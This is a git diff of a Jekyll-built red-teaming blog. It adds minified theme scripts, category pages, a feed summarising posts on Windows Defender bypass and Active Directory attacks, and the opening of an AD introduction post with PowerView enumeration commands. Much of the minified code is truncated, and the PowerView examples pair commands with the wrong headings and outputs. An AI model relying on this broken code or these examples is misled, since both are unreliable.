o=$(t),n=$("#topbar-title");if(0!==o.length&&!o.hasClass("dynamic-title")&&!n.is(":hidden")){const s=n.text().trim();let a=o.text().trim(),r=!1,l=0;($("#page-category").length||$("#page-tag").length)&&/\s/.test(a)&&(a=a.replace(/[0-9]/g,"").trim()),o.offset().top<$(window).scrollTop()&&n.text(a);let e=new IntersectionObserver(e=>{var t,o;r?(t=$(window).scrollTop(),o=l{50<$(this).scrollTop()&&"none"===$("#sidebar-trigger").css("display")?$("#back-to-top").fadeIn():$("#back-to-top").fadeOut()}),$("#back-to-top").click(()=>($("body,html").animate({scrollTop:0},800),!1))});const LocaleHelper=function(){const t=$('meta[name="prefer-datetime-locale"]'),e=0e,attrTimestamp:()=>o,attrDateFormat:()=>a,getTimestamp:t=>Number(t.attr(o)),getDateFormat:t=>t.attr(a)}}();$(function(){$(".mode-toggle").click(t=>{const e=$(t.target);let o=e.prop("tagName")==="button".toUpperCase()?e:e.parent();o.blur(),flipMode()})});const ScrollHelper=function(){const t=$("body"),e="data-topbar-visible",o=$("#topbar-wrapper").outerHeight();let a=0,r=!1,l=!1;return{hideTopbar:()=>t.attr(e,!1),showTopbar:()=>t.attr(e,!0),addScrollUpTask:()=>{a+=1,r=r||!0},popScrollUpTask:()=>--a,hasScrollUpTask:()=>0!0===r,unlockTopbar:()=>r=!1,getTopbarHeight:()=>o,orientationLocked:()=>!0===l,lockOrientation:()=>l=!0,unLockOrientation:()=>l=!1}}();$(function(){const t=$("#sidebar-trigger"),e=$("#search-trigger"),o=$("#search-cancel"),a=$("#main"),r=$("#topbar-title"),l=$("#search-wrapper"),n=$("#search-result-wrapper"),i=$("#search-results"),c=$("#search-input"),s=$("#search-hints"),d=function(){let t=0;return{block(){t=window.scrollY,$("html,body").scrollTop(0)},release(){$("html,body").scrollTop(t)},getOffset(){return t}}}(),p={on(){t.addClass("unloaded"),r.addClass("unloaded"),e.addClass("unloaded"),l.addClass("d-flex"),o.addClass("loaded")},off(){o.removeClass("loaded"),l.removeClass("d-flex"),t.removeClass("unloaded"),r.removeClass("unloaded"),e.removeClass("unloaded")}},u=function(){let t=!1;return{on(){t||(d.block(),n.removeClass("unloaded"),a.addClass("unloaded"),t=!0)},off(){t&&(i.empty(),s.hasClass("unloaded")&&s.removeClass("unloaded"),n.addClass("unloaded"),a.removeClass("unloaded"),d.release(),c.val(""),t=!1)},isVisible(){return t}}}();function h(){return o.hasClass("loaded")}e.click(function(){p.on(),u.on(),c.focus()}),o.click(function(){p.off(),u.off()}),c.focus(function(){l.addClass("input-focus")}),c.focusout(function(){l.removeClass("input-focus")}),c.on("input",()=>{""===c.val()?h()?s.removeClass("unloaded"):u.off():(u.on(),h()&&s.addClass("unloaded"))})}),$(function(){var t=function(){const t="sidebar-display";let e=!1;const o=$("body");return{toggle(){!1===e?o.attr(t,""):o.removeAttr(t),e=!e}}}();$("#sidebar-trigger").click(t.toggle),$("#mask").click(t.toggle)}),$(function(){$('[data-toggle="tooltip"]').tooltip()}),$(function(){const e=$("#search-input"),o=ScrollHelper.getTopbarHeight();let t,a=0;function r(){0!==$(window).scrollTop()&&(ScrollHelper.lockOrientation(),ScrollHelper.hideTopbar())}screen.orientation?screen.orientation.onchange=()=>{var t=screen.orientation.type;"landscape-primary"!==t&&"landscape-secondary"!==t||r()}:$(window).on("orientationchange",()=>{$(window).width()<$(window).height()&&r()}),$(window).scroll(()=>{t=t||!0}),setInterval(()=>{t&&(function(){var t=$(this).scrollTop();if(!(Math.abs(a-t)<=o)){if(t>a)ScrollHelper.hideTopbar(),e.is(":focus")&&e.blur();else if(t+$(window).height()<$(document).height()){if(ScrollHelper.hasScrollUpTask())return;ScrollHelper.topbarLocked()?ScrollHelper.unlockTopbar():ScrollHelper.orientationLocked()?ScrollHelper.unLockOrientation():ScrollHelper.showTopbar()}a=t}}(),t=!1)},250)}),$(function(){var e="div.post>h1:first-of-type";const o=$(e),n=$("#topbar-title");if(0!==o.length&&!o.hasClass("dynamic-title")&&!n.is(":hidden")){const i=n.text().trim();let a=o.text().trim(),r=!1,l=0;($("#page-category").length||$("#page-tag").length)&&/\s/.test(a)&&(a=a.replace(/[0-9]/g,"").trim()),o.offset().top<$(window).scrollTop()&&n.text(a);let t=new IntersectionObserver(t=>{var e,o;r?(e=$(window).scrollTop(),o=l'),$("input[type=checkbox]:not([checked])").before('')}),$(function(){var t="#main > div.row:first-child > div:first-child";if(!($(t+" img").length<=0)){var e=document.querySelectorAll(t+" img[data-src]");const o=lozad(e);o.observe(),$(t+` p > img[data-src],${t} img[data-src].preview-img`).each(function(){let t=$(this).next();var e="EM"===t.prop("tagName")?t.text():"",o=$(this).attr("data-src");$(this).wrap(``)}),$(".popup").magnificPopup({type:"image",closeOnContentClick:!0,showCloseBtn:!1,zoom:{enabled:!0,duration:300,easing:"ease-in-out"}}),$(t+" a").has("img").addClass("img-link")}}),$(function(){var t=".code-header>button";const e="timeout",r="data-title-succeed",l="data-original-title";function n(t){if($(t)[0].hasAttribute(e)){t=$(t).attr(e);if(Number(t)>Date.now())return 1}}function i(t){$(t).attr(e,Date.now()+2e3)}function c(t){$(t).removeAttr(e)}const o=new ClipboardJS(t,{target(t){let e=t.parentNode.nextElementSibling;return e.querySelector("code .rouge-code")}});$(t).tooltip({trigger:"hover",placement:"left"});const a=function(t){let e=$(t).children();return e.attr("class")}(t);o.on("success",t=>{t.clearSelection();const e=t.trigger;var o;n(e)||(function(t){let e=$(t),o=e.children();o.attr("class","fas fa-check")}(e),o=e,t=$(o).attr(r),$(o).attr(l,t).tooltip("show"),i(e),setTimeout(()=>{var t;t=e,$(t).tooltip("hide").removeAttr(l),function(t){let e=$(t),o=e.children();o.attr("class",a)}(e),c(e)},2e3))}),$("#copy-link").click(t=>{let e=$(t.target);if(!n(e)){t=window.location.href;const o=$("");$("body").append(o),o.val(t).select(),document.execCommand("copy"),o.remove();const a=e.attr(l);t=e.attr(r);e.attr(l,t).tooltip("show"),i(e),setTimeout(()=>{e.attr(l,a),c(e)},2e3)}})}),$(function(){const t=$("#topbar-title"),c="scroll-focus";$("a[href*='#']").not("[href='#']").not("[href='#0']").click(function(r){if(this.pathname.replace(/^\//,"")===location.pathname.replace(/^\//,"")&&location.hostname===this.hostname){const i=decodeURI(this.hash);let e=RegExp(/^#fnref:/).test(i),o=!e&&RegExp(/^#fn:/).test(i);var l=i.includes(":")?i.replace(/\:/g,"\\:"):i;let a=$(l);var n=t.is(":visible"),l=$(window).width()<$(window).height();if(void 0!==a){r.preventDefault(),history.pushState&&history.pushState(null,null,i);r=$(window).scrollTop();let t=a.offset().top-=8;t(a.focus(),$(`[${c}=true]`).length&&$(`[${c}=true]`).attr(c,!1),$(":target").length&&$(":target").attr(c,!1),(o||e)&&a.attr(c,!0),a.is(":focus")?!1:(a.attr("tabindex","-1"),a.focus(),void(ScrollHelper.hasScrollUpTask()&&ScrollHelper.popScrollUpTask()))))}}})}); \ No newline at end of file diff --git a/assets/js/dist/post.min.js b/assets/js/dist/post.min.js new file mode 100644 index 00000000..97f33a15 --- /dev/null +++ b/assets/js/dist/post.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v5.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +$(function(){$(window).scroll(()=>{50<$(this).scrollTop()&&"none"===$("#sidebar-trigger").css("display")?$("#back-to-top").fadeIn():$("#back-to-top").fadeOut()}),$("#back-to-top").click(()=>($("body,html").animate({scrollTop:0},800),!1))});const LocaleHelper=function(){const t=$('meta[name="prefer-datetime-locale"]'),e=0e,attrTimestamp:()=>o,attrDateFormat:()=>a,getTimestamp:t=>Number(t.attr(o)),getDateFormat:t=>t.attr(a)}}();$(function(){$(".mode-toggle").click(t=>{const e=$(t.target);let o=e.prop("tagName")==="button".toUpperCase()?e:e.parent();o.blur(),flipMode()})});const ScrollHelper=function(){const t=$("body"),e="data-topbar-visible",o=$("#topbar-wrapper").outerHeight();let a=0,r=!1,l=!1;return{hideTopbar:()=>t.attr(e,!1),showTopbar:()=>t.attr(e,!0),addScrollUpTask:()=>{a+=1,r=r||!0},popScrollUpTask:()=>--a,hasScrollUpTask:()=>0!0===r,unlockTopbar:()=>r=!1,getTopbarHeight:()=>o,orientationLocked:()=>!0===l,lockOrientation:()=>l=!0,unLockOrientation:()=>l=!1}}();$(function(){const t=$("#sidebar-trigger"),e=$("#search-trigger"),o=$("#search-cancel"),a=$("#main"),r=$("#topbar-title"),l=$("#search-wrapper"),n=$("#search-result-wrapper"),i=$("#search-results"),c=$("#search-input"),s=$("#search-hints"),d=function(){let t=0;return{block(){t=window.scrollY,$("html,body").scrollTop(0)},release(){$("html,body").scrollTop(t)},getOffset(){return t}}}(),p={on(){t.addClass("unloaded"),r.addClass("unloaded"),e.addClass("unloaded"),l.addClass("d-flex"),o.addClass("loaded")},off(){o.removeClass("loaded"),l.removeClass("d-flex"),t.removeClass("unloaded"),r.removeClass("unloaded"),e.removeClass("unloaded")}},u=function(){let t=!1;return{on(){t||(d.block(),n.removeClass("unloaded"),a.addClass("unloaded"),t=!0)},off(){t&&(i.empty(),s.hasClass("unloaded")&&s.removeClass("unloaded"),n.addClass("unloaded"),a.removeClass("unloaded"),d.release(),c.val(""),t=!1)},isVisible(){return t}}}();function f(){return o.hasClass("loaded")}e.click(function(){p.on(),u.on(),c.focus()}),o.click(function(){p.off(),u.off()}),c.focus(function(){l.addClass("input-focus")}),c.focusout(function(){l.removeClass("input-focus")}),c.on("input",()=>{""===c.val()?f()?s.removeClass("unloaded"):u.off():(u.on(),f()&&s.addClass("unloaded"))})}),$(function(){var t=function(){const t="sidebar-display";let e=!1;const o=$("body");return{toggle(){!1===e?o.attr(t,""):o.removeAttr(t),e=!e}}}();$("#sidebar-trigger").click(t.toggle),$("#mask").click(t.toggle)}),$(function(){$('[data-toggle="tooltip"]').tooltip()}),$(function(){const e=$("#search-input"),o=ScrollHelper.getTopbarHeight();let t,a=0;function r(){0!==$(window).scrollTop()&&(ScrollHelper.lockOrientation(),ScrollHelper.hideTopbar())}screen.orientation?screen.orientation.onchange=()=>{var t=screen.orientation.type;"landscape-primary"!==t&&"landscape-secondary"!==t||r()}:$(window).on("orientationchange",()=>{$(window).width()<$(window).height()&&r()}),$(window).scroll(()=>{t=t||!0}),setInterval(()=>{t&&(function(){var t=$(this).scrollTop();if(!(Math.abs(a-t)<=o)){if(t>a)ScrollHelper.hideTopbar(),e.is(":focus")&&e.blur();else if(t+$(window).height()<$(document).height()){if(ScrollHelper.hasScrollUpTask())return;ScrollHelper.topbarLocked()?ScrollHelper.unlockTopbar():ScrollHelper.orientationLocked()?ScrollHelper.unLockOrientation():ScrollHelper.showTopbar()}a=t}}(),t=!1)},250)}),$(function(){var e="div.post>h1:first-of-type";const o=$(e),n=$("#topbar-title");if(0!==o.length&&!o.hasClass("dynamic-title")&&!n.is(":hidden")){const i=n.text().trim();let a=o.text().trim(),r=!1,l=0;($("#page-category").length||$("#page-tag").length)&&/\s/.test(a)&&(a=a.replace(/[0-9]/g,"").trim()),o.offset().top<$(window).scrollTop()&&n.text(a);let t=new IntersectionObserver(t=>{var e,o;r?(e=$(window).scrollTop(),o=l img[data-src],${t} img[data-src].preview-img`).each(function(){let t=$(this).next();var e="EM"===t.prop("tagName")?t.text():"",o=$(this).attr("data-src");$(this).wrap(``)}),$(".popup").magnificPopup({type:"image",closeOnContentClick:!0,showCloseBtn:!1,zoom:{enabled:!0,duration:300,easing:"ease-in-out"}}),$(t+" a").has("img").addClass("img-link")}}),$(function(){const a=LocaleHelper.attrTimestamp(),t=$(".timeago");let o=t.length,e=void 0;function r(){return t.each(function(){if(void 0!==$(this).attr(a)){let t=function(t){const e=dayjs(),o=dayjs.unix(LocaleHelper.getTimestamp(t));return 10t.toUpperCase())),$(this).text()!==t&&$(this).text(t)}else--o}),0===o&&void 0!==e&&clearInterval(e),o}dayjs.locale(LocaleHelper.locale()),dayjs.extend(window.dayjs_plugin_relativeTime),dayjs.extend(window.dayjs_plugin_localizedFormat),0!==o&&(t.each(function(){var t,e=$(this).attr("data-toggle");void 0!==e&&"tooltip"===e&&(t=$(this).attr("data-tooltip-df"),e=LocaleHelper.getTimestamp($(this)),t=dayjs.unix(e).format(t),$(this).attr("data-original-title",t),$(this).removeAttr("data-tooltip-df"))}),r()&&(e=setInterval(r,6e4)))}),$(function(){$("input[type=checkbox]").addClass("unloaded"),$("input[type=checkbox][checked]").before(''),$("input[type=checkbox]:not([checked])").before('')}),$(function(){var t=".code-header>button";const e="timeout",r="data-title-succeed",l="data-original-title";function n(t){if($(t)[0].hasAttribute(e)){t=$(t).attr(e);if(Number(t)>Date.now())return 1}}function i(t){$(t).attr(e,Date.now()+2e3)}function c(t){$(t).removeAttr(e)}const o=new ClipboardJS(t,{target(t){let e=t.parentNode.nextElementSibling;return e.querySelector("code .rouge-code")}});$(t).tooltip({trigger:"hover",placement:"left"});const a=function(t){let e=$(t).children();return e.attr("class")}(t);o.on("success",t=>{t.clearSelection();const e=t.trigger;var o;n(e)||(function(t){let e=$(t),o=e.children();o.attr("class","fas fa-check")}(e),o=e,t=$(o).attr(r),$(o).attr(l,t).tooltip("show"),i(e),setTimeout(()=>{var t;t=e,$(t).tooltip("hide").removeAttr(l),function(t){let e=$(t),o=e.children();o.attr("class",a)}(e),c(e)},2e3))}),$("#copy-link").click(t=>{let e=$(t.target);if(!n(e)){t=window.location.href;const o=$("");$("body").append(o),o.val(t).select(),document.execCommand("copy"),o.remove();const a=e.attr(l);t=e.attr(r);e.attr(l,t).tooltip("show"),i(e),setTimeout(()=>{e.attr(l,a),c(e)},2e3)}})}),$(function(){const t=$("#topbar-title"),c="scroll-focus";$("a[href*='#']").not("[href='#']").not("[href='#0']").click(function(r){if(this.pathname.replace(/^\//,"")===location.pathname.replace(/^\//,"")&&location.hostname===this.hostname){const i=decodeURI(this.hash);let e=RegExp(/^#fnref:/).test(i),o=!e&&RegExp(/^#fn:/).test(i);var l=i.includes(":")?i.replace(/\:/g,"\\:"):i;let a=$(l);var n=t.is(":visible"),l=$(window).width()<$(window).height();if(void 0!==a){r.preventDefault(),history.pushState&&history.pushState(null,null,i);r=$(window).scrollTop();let t=a.offset().top-=8;t(a.focus(),$(`[${c}=true]`).length&&$(`[${c}=true]`).attr(c,!1),$(":target").length&&$(":target").attr(c,!1),(o||e)&&a.attr(c,!0),a.is(":focus")?!1:(a.attr("tabindex","-1"),a.focus(),void(ScrollHelper.hasScrollUpTask()&&ScrollHelper.popScrollUpTask()))))}}})}); \ No newline at end of file diff --git a/assets/js/dist/pvreport.min.js b/assets/js/dist/pvreport.min.js new file mode 100644 index 00000000..2a8aca11 --- /dev/null +++ b/assets/js/dist/pvreport.min.js @@ -0,0 +1,6 @@ +/*! + * Chirpy v5.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy/) + * © 2019 Cotes Chung + * MIT Licensed + */ +const getInitStatus=function(){let t=!1;return()=>{var e=t;return t=t||!0,e}}(),PvOpts=function(){function t(e){return $(e).attr("content")}function e(e){e=t(e);return void 0!==e&&!1!==e}return{getProxyMeta(){return t("meta[name=pv-proxy-endpoint]")},getLocalMeta(){return t("meta[name=pv-cache-path]")},hasProxyMeta(){return e("meta[name=pv-proxy-endpoint]")},hasLocalMeta(){return e("meta[name=pv-cache-path]")}}}(),PvStorage=function(){const a={KEY_PV:"pv",KEY_PV_SRC:"pv_src",KEY_CREATION:"pv_created_date"},t={LOCAL:"same-origin",PROXY:"cors"};function r(e){return localStorage.getItem(e)}function o(e,t){localStorage.setItem(e,t)}function n(e,t){o(a.KEY_PV,e),o(a.KEY_PV_SRC,t),o(a.KEY_CREATION,(new Date).toJSON())}return{keysCount(){return Object.keys(a).length},hasCache(){return null!==localStorage.getItem(a.KEY_PV)},getCache(){return JSON.parse(localStorage.getItem(a.KEY_PV))},saveLocalCache(e){n(e,t.LOCAL)},saveProxyCache(e){n(e,t.PROXY)},isExpired(){let e=new Date(r(a.KEY_CREATION));return e.setHours(e.getHours()+1),Date.now()>=e.getTime()},isFromLocal(){return r(a.KEY_PV_SRC)===t.LOCAL},isFromProxy(){return r(a.KEY_PV_SRC)===t.PROXY},newerThan(e){return PvStorage.getCache().totalsForAllResults["ga:pageviews"]>e.totalsForAllResults["ga:pageviews"]},inspectKeys(){if(localStorage.length===PvStorage.keysCount())for(let e=0;er&&countUp(r,o,a.attr("id"))):a.text((new Intl.NumberFormat).format(o))}function displayPageviews(e){if(void 0!==e){let t=getInitStatus();const a=e.rows;0<$("#post-list").length?$(".post-preview").each(function(){var e=$(this).find("a").attr("href");tacklePV(a,e,$(this).find(".pageviews"),t)}):0<$(".post").length&&(e=window.location.pathname,tacklePV(a,e,$("#pv"),t))}}function fetchProxyPageviews(){PvOpts.hasProxyMeta()&&$.ajax({type:"GET",url:PvOpts.getProxyMeta(),dataType:"jsonp",jsonpCallback:"displayPageviews",success:e=>{PvStorage.saveProxyCache(JSON.stringify(e))},error:(e,t,a)=>{console.log("Failed to load pageviews from proxy server: "+a)}})}function fetchLocalPageviews(t=!1){return fetch(PvOpts.getLocalMeta()).then(e=>e.json()).then(e=>{t&&PvStorage.isFromProxy()&&PvStorage.newerThan(e)||(displayPageviews(e),PvStorage.saveLocalCache(JSON.stringify(e)))})}$(function(){$(".pageviews").length<=0||(PvStorage.inspectKeys(),PvStorage.hasCache()?(displayPageviews(PvStorage.getCache()),PvStorage.isExpired()?PvOpts.hasLocalMeta()?fetchLocalPageviews(!0).then(fetchProxyPageviews):fetchProxyPageviews():PvStorage.isFromLocal()&&fetchProxyPageviews()):PvOpts.hasLocalMeta()?fetchLocalPageviews().then(fetchProxyPageviews):fetchProxyPageviews())}); \ No newline at end of file diff --git a/assets/post_img/Bhaskarpal_CRTE.jpg b/assets/post_img/Bhaskarpal_CRTE.jpg new file mode 100644 index 00000000..7c734bbc Binary files /dev/null and b/assets/post_img/Bhaskarpal_CRTE.jpg differ diff --git a/assets/post_img/LabDiagram.png b/assets/post_img/LabDiagram.png new file mode 100644 index 00000000..ea61ba1c Binary files /dev/null and b/assets/post_img/LabDiagram.png differ diff --git a/assets/post_img/crte-header.png b/assets/post_img/crte-header.png new file mode 100644 index 00000000..763585c4 Binary files /dev/null and b/assets/post_img/crte-header.png differ diff --git a/assets/post_img/crte_flags_pwn.png b/assets/post_img/crte_flags_pwn.png new file mode 100644 index 00000000..5d52f341 Binary files /dev/null and b/assets/post_img/crte_flags_pwn.png differ diff --git a/assets/post_img/exam-end b/assets/post_img/exam-end new file mode 100644 index 00000000..d3ea2bec Binary files /dev/null and b/assets/post_img/exam-end differ diff --git a/assets/post_img/exam-exp.jpg b/assets/post_img/exam-exp.jpg new file mode 100644 index 00000000..82a6cbe1 Binary files /dev/null and b/assets/post_img/exam-exp.jpg differ diff --git a/assets/post_img/exam-prep.gif b/assets/post_img/exam-prep.gif new file mode 100644 index 00000000..ae7e720d Binary files /dev/null and b/assets/post_img/exam-prep.gif differ diff --git a/assets/post_img/exam-start-img.jpg b/assets/post_img/exam-start-img.jpg new file mode 100644 index 00000000..86cedfde Binary files /dev/null and b/assets/post_img/exam-start-img.jpg differ diff --git a/categories/active-directory-introduction/index.html b/categories/active-directory-introduction/index.html new file mode 100644 index 00000000..abf8664f --- /dev/null +++ b/categories/active-directory-introduction/index.html @@ -0,0 +1 @@ + Active-Directory-Introduction | 0xStarlight
Home Categories Active-Directory-Introduction
Category
Cancel
diff --git a/categories/active-directory-lateral-movement/index.html b/categories/active-directory-lateral-movement/index.html new file mode 100644 index 00000000..95c481e5 --- /dev/null +++ b/categories/active-directory-lateral-movement/index.html @@ -0,0 +1 @@ + Active-Directory-Lateral-Movement | 0xStarlight
Home Categories Active-Directory-Lateral-Movement
Category
Cancel
diff --git a/categories/active-directory-local-privilege-escalation/index.html b/categories/active-directory-local-privilege-escalation/index.html new file mode 100644 index 00000000..7de3c2b0 --- /dev/null +++ b/categories/active-directory-local-privilege-escalation/index.html @@ -0,0 +1 @@ + Active-Directory-Local-Privilege-Escalation | 0xStarlight
Home Categories Active-Directory-Local-Privilege-Escalation
Category
Cancel
diff --git a/categories/active-directory-offensive-powershell/index.html b/categories/active-directory-offensive-powershell/index.html new file mode 100644 index 00000000..bc6e95a4 --- /dev/null +++ b/categories/active-directory-offensive-powershell/index.html @@ -0,0 +1 @@ + Active-Directory-Offensive-PowerShell | 0xStarlight
Home Categories Active-Directory-Offensive-PowerShell
Category
Cancel
diff --git a/categories/crte-review/index.html b/categories/crte-review/index.html new file mode 100644 index 00000000..93a169a7 --- /dev/null +++ b/categories/crte-review/index.html @@ -0,0 +1 @@ + CRTE-Review | 0xStarlight
Home Categories CRTE-Review
Category
Cancel
diff --git a/categories/defender-bypass/index.html b/categories/defender-bypass/index.html new file mode 100644 index 00000000..bee2279a --- /dev/null +++ b/categories/defender-bypass/index.html @@ -0,0 +1 @@ + Defender-bypass | 0xStarlight
Home Categories Defender-bypass
Category
Cancel
diff --git a/categories/hackthebox-linux/index.html b/categories/hackthebox-linux/index.html new file mode 100644 index 00000000..26daa250 --- /dev/null +++ b/categories/hackthebox-linux/index.html @@ -0,0 +1 @@ + Hackthebox-Linux | 0xStarlight
Home Categories Hackthebox-Linux
Category
Cancel
diff --git a/categories/hackthebox-medium/index.html b/categories/hackthebox-medium/index.html new file mode 100644 index 00000000..789fd6d3 --- /dev/null +++ b/categories/hackthebox-medium/index.html @@ -0,0 +1 @@ + Hackthebox-Medium | 0xStarlight
Home Categories Hackthebox-Medium
Category
Cancel
diff --git a/categories/hackthebox/index.html b/categories/hackthebox/index.html new file mode 100644 index 00000000..594391f1 --- /dev/null +++ b/categories/hackthebox/index.html @@ -0,0 +1 @@ + Hackthebox | 0xStarlight
Home Categories Hackthebox
Category
Cancel
diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 00000000..230e0e09 --- /dev/null +++ b/categories/index.html @@ -0,0 +1 @@ + Categories | 0xStarlight
Home Categories
Categories
Cancel
diff --git a/categories/red-teaming-exams/index.html b/categories/red-teaming-exams/index.html new file mode 100644 index 00000000..95df7fd7 --- /dev/null +++ b/categories/red-teaming-exams/index.html @@ -0,0 +1 @@ + Red-Teaming-Exams | 0xStarlight
Home Categories Red-Teaming-Exams
Category
Cancel
diff --git a/categories/red-teaming/index.html b/categories/red-teaming/index.html new file mode 100644 index 00000000..ba84b7e5 --- /dev/null +++ b/categories/red-teaming/index.html @@ -0,0 +1 @@ + Red-Teaming | 0xStarlight
Home Categories Red-Teaming
Category
Cancel
diff --git a/feed.xml b/feed.xml new file mode 100644 index 00000000..1d7d575a --- /dev/null +++ b/feed.xml @@ -0,0 +1 @@ + https://0xstarlight.github.io/0xStarlightCyber security, Red Teaming and CTF Writeup's 2024-03-22T15:57:50+05:30 Bhaskar Pal https://0xstarlight.github.io/ Jekyll © 2024 Bhaskar Pal /assets/img/favicons/favicon.ico /assets/img/favicons/favicon-96x96.png CRTE Exam Review2023-07-15T07:23:00+05:30 2023-07-15T22:57:20+05:30 https://0xstarlight.github.io/posts/CRTE-Exam-Review/ Bhaskar Pal Introduction I am thrilled to announce that I have successfully passed the CRTE (Certified Red Team Expert) exam from Altered Security, and I am excited to share my journey and experience with all of you. This certification marks a significant milestone in my career as a cybersecurity professional, further building upon my earlier achievements of attaining the CRTP (Certified Red Team Profes... Bypassing Windows Defender2023-05-14T20:00:00+05:30 2023-05-14T22:50:08+05:30 https://0xstarlight.github.io/posts/Bypassing-Windows-Defender/ Bhaskar Pal Introduction Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware Scan Interface and disable Event Tracing for Windows to evade detection. Additionally, I will demonstrate how to combine both methods for maximum effectiveness and provide guidance on using this approa... Active Directory - Lateral Movement2022-04-08T13:25:00+05:30 2024-03-22T15:57:24+05:30 https://0xstarlight.github.io/posts/Active-Directory-Lateral-Movement/ Bhaskar Pal Introduction Welcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through the basic concepts required, high-level Domain enumeration explanation and AD/Windows Local Privilege escalation guide. If not so, you can give it a read from here. This guide explains Active-Director... Hack The Box - Shibboleth2022-04-05T08:47:00+05:30 2022-04-28T11:57:08+05:30 https://0xstarlight.github.io/posts/HTB-Shibboleth/ Bhaskar Pal Shibboleth is about enumerating the UDP ports through which we can find IPMI service is running. We can dump the administrator hashes and log in to one of Shibboleth’s subdomains, where we can get RCE and an initial shell as Zabbix. With password reuse, we can move laterally to ipmi-svc. To root the box, it’s a simple RCE on an outdated version of MySQL. Recon Nmap The first thing that I ... Active Directory - Local Privilege Escalation2022-04-01T06:56:00+05:30 2022-04-01T06:56:00+05:30 https://0xstarlight.github.io/posts/Active-Directory-Windows-Local-Priv-Esc/ Bhaskar Pal Introduction Welcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go through the basic concepts required to understand Active Directory and high-level Domain enumeration explanation. If not so, you can give it a read from here. This guide aims to explain Windows/Acti... diff --git a/index.html b/index.html new file mode 100644 index 00000000..88748676 --- /dev/null +++ b/index.html @@ -0,0 +1 @@ + 0xStarlight
Home
0xStarlight
Cancel

CRTE Exam Review

Introduction I am thrilled to announce that I have successfully passed the CRTE (Certified Red Team Expert) exam from Altered Security, and I am excited to share my journey and experience with a...

Bypassing Windows Defender

Introduction Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware S...

Active Directory - Lateral Movement

Introduction Welcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through th...

Hack The Box - Shibboleth

Shibboleth is about enumerating the UDP ports through which we can find IPMI service is running. We can dump the administrator hashes and log in to one of Shibboleth’s subdomains, where we can ge...

Active Directory - Local Privilege Escalation

Introduction Welcome to my third article in the Red Teaming Series (Active Directory Local Privilege Escalation). I hope everyone has gone through the first two articles of this series which go ...

Active Directory - Offensive PowerShell

Introduction Welcome to my second article in the Red Teaming Series (Offensive PowerShell). I hope everyone has gone through the first article of this series which explains the basic foundations...

Active Directory - Introduction

Introduction Welcome to my first article in the Red Teaming Series (Active Directory Introduction). I hope to provide you all with information for an initial foundation and motivation about Acti...

Hack The Box - Node

Node is about enumerating an Express NodeJS application to find an API endpoint that discloses the usernames and password hashes. To root the box is a simple buffer overflow and possible by three...

diff --git a/norobots/index.html b/norobots/index.html new file mode 100644 index 00000000..4a7a9fa8 --- /dev/null +++ b/norobots/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/posts/Active-Directory-Introduction/index.html b/posts/Active-Directory-Introduction/index.html new file mode 100644 index 00000000..aea1e1f6 --- /dev/null +++ b/posts/Active-Directory-Introduction/index.html @@ -0,0 +1,83 @@ + Active Directory - Introduction | 0xStarlight
Home Active Directory - Introduction
Post
Cancel

Active Directory - Introduction

image

Introduction

Welcome to my first article in the Red Teaming Series (Active Directory Introduction). I hope to provide you all with information for an initial foundation and motivation about Active Directory, so let’s move forward to learn other exciting aspects of the directory service developed by Microsoft to manage windows domain networks.

This guide aims to explain the complete basics of Active Directory and those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network.

I will cover the following topics under this guide:

  1. Domain, Domain Controllers
  2. Trees, Forests
  3. Group Policy Object
  4. Access Control List
  5. Users + Groups
  6. Trusts
  7. Policies

Throughout the article I will use PowerView which is based on Powershell to show how to retrieve information of Active Directory. This article has been created with references from a few other articles. All used references for completing this article will be listed below. —

What is Active Directory?

In a short description, an Active Directory is a system that allows the collection of machines and servers connected inside the same network from a central server(known as a Domain) that are a collective part of a bigger server(known as a forest) that make up the Active Directory network.

It stores information related to objects, such as Computers, Users, Printers, etc. You can think about it as a phone book for Windows. One of its main purposes is for authentication using Kerberos tickets. Non-windows devices, such as Linux machines, firewalls, etc., can also authenticate to Active Directory via RADIUS or LDAP protocols.

Active Directory contains many functioning bits and pieces, a majority of which we will be covering in the upcoming tasks.

Why use Active Directory?

The majority of large companies use Active Directory because it allows for controlling and monitoring their user’s computers through a single domain controller. It will enable a single user to sign in to any computer on the active directory network and have access to their stored files and folders in the server and the local storage on that machine. This allows any user in the company to use any machine that the company owns without setting up multiple users on a machine. Active Directory does it all for you.

image

If this is still unclear, let me give you an example.

Let’s take the example of Microsoft. It’s a worldwide company with millions of employees. Let’s focus on one building of Microsoft, which has about a thousand plus employees. Each of these employees is working on their workstations (Windows/Linux). This building might contain different departments like Market Research, Product Decisions, HR, IT, etc. Now imagine if one of the departments required a software update, or if one of the employees forgot their password, or one of the employees needed higher privileges to access view some content.

It would be extremely tedious if the IT department tried to fix all the issues. But this issue can resolve if they have all the computers connected in an Active Directory network to perform all these operations under one hood.

Domain Controllers

image

First of all, I have been reffering an Active Directory network as a Domain. In brief, a domain is a set of connected computers that shares an Active Directory database, which is managed by the central servers of a domain, that are called Domain Controllers.

A domain controller is a Windows server that has Active Directory Domain Services (AD DS) installed and has been promoted to a domain controller in the forest. Domain controllers are the center of Active Directory , they control the rest of the domain. Outlineing some of the tasks of a domain controller below:

  1. Holds the AD DS data store
  2. Handles authentication and authorization services
  3. Replicate updates from other domain controllers in the forest
  4. Allows admin access to manage domain resources

PowerView Enumeration

We can gather additional information about our target using PowerView

  1. Get current domain
    1
    +2
    +3
    +4
    +
    PS C:\Tools> Get-NetUser
    +user-dc.it.starlight.local
    +user-mssql.it.starlight.local
    +user-adminsrv.it.starlight.local
    +
  2. Enumerate Domain Admins
    1
    +2
    +3
    +4
    +5
    +
    Get-NetDomain
